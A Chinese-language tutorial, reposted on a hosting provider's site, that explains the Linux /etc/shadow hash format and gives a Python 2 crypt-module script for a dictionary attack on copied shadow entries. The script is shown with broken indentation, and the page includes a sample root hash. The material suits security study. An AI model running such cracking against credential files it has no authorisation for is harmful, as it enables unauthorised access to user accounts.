新闻动态

Python脚本激活Linux密码的方法(crypt模块)

发布日期:2022-04-11 13:04 | 文章来源:脚本之家

环境 Kali Linux ,python版本2.7.13 。

我们利用Linux系统中的 crypt模块模拟了Linux系统中用户密码的加密,在Windows中是不存在这个库的。

在Linux系统中,用户的密码被加密存储在了 /etc/shadow文件中。

如下是 /etc/shadow中root用户的字段

root:$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.:17767:0:99999:7:::

第二个字段是密码部分的,我们把它单独拿出来

$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.

密码部分的格式为:$id$salt$encrypted

  • id是指用的哈希算法,id为1是MD5,id为5是SHA-256,id为6是SHA-512
  • salt 为盐值
  • encrypted 为hash值,这里的hash值是密码和盐值一起加密之后得到的

在了解了shadow 文件中密码的加密方式之后,我们就可以开始编写python脚本了。

在编写之前,我们需要准备好密码字典文件 key.txt 。只有当密码字典足够大时,才有可能破解出密码。

然后我们将 /etc/shadow文件复制到python脚本所在目录,修改文件名为 shadow.txt

在编写时,我们创建两个函数:main() 和 testPass() 。main() 函数打开shadow.txt文件中的内容,读取其中的用户名字段和密码字段cryptPass。testPass() 函数将密码字段中的 $id$salt提取出来赋值给 salt 。然后读取 key.txt 中的密码字段,赋值给 word 。再利用Linux系统中python的一个crypt库,将word和salt一起作为参数传进去进行加密,得到cryptWord 。最后将cryptWord和cryptPass进行对比,如果相等,则这个word就是该用户的密码,否则不是。

# -*- coding: utf-8 -*-
"""
Created on Mon Oct 29 15:01:54 2018
@author: 小谢
"""
import crypt##导入Linux口令加密库
def testPass(cryptPass):
 salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##获得盐值,包含$id部分
 dictFile=open('key.txt','r')
 for word in dictFile.readlines():
  word=word.strip("\n")
  cryptWord=crypt.crypt(word,salt) ##将密码字典中的值和盐值一起加密
  if (cryptWord==cryptPass):##判断加密后的数据和密码字段是否相等
print "[+]Found Password:"+word+"\n" ##如果相等则打印出来
return 
 print "[-] Password Not Found.\n"
 return 
 
def main():
 passFile=open('shadow.txt')
 for line in passFile.readlines():##读取文件中的所有内容
  if ":" in line:
user=line.split(":")[0]##获得用户名
cryptPass=line.split(":")[1].strip(' ')##获得密码字段
print "[*] Cracking Password for:"+user
testPass(cryptPass)
main()

脚本运行截图,破解出了用户tom和用户xie的密码。

以上就是Python脚本激活Linux口令(crypt模块)的详细内容,更多关于python破解linux口令的资料请关注本站其它相关文章!

国外服务器租用

版权声明:本站文章来源标注为YINGSOO的内容版权均为本站所有,欢迎引用、转载,请保持原文完整并注明来源及原文链接。禁止复制或仿造本网站,禁止在非www.yingsoo.com所属的服务器上建立镜像,否则将依法追究法律责任。本站部分内容来源于网友推荐、互联网收集整理而来,仅供学习参考,不代表本站立场,如有内容涉嫌侵权,请联系alex-e#qq.com处理。

相关文章

实时开通

自选配置、实时开通

免备案

全球线路精选!

全天候客户服务

7x24全年不间断在线

专属顾问服务

1对1客户咨询顾问

在线
客服

在线客服:7*24小时在线

客服
热线

400-630-3752
7*24小时客服服务热线

关注
微信

关注官方微信
顶部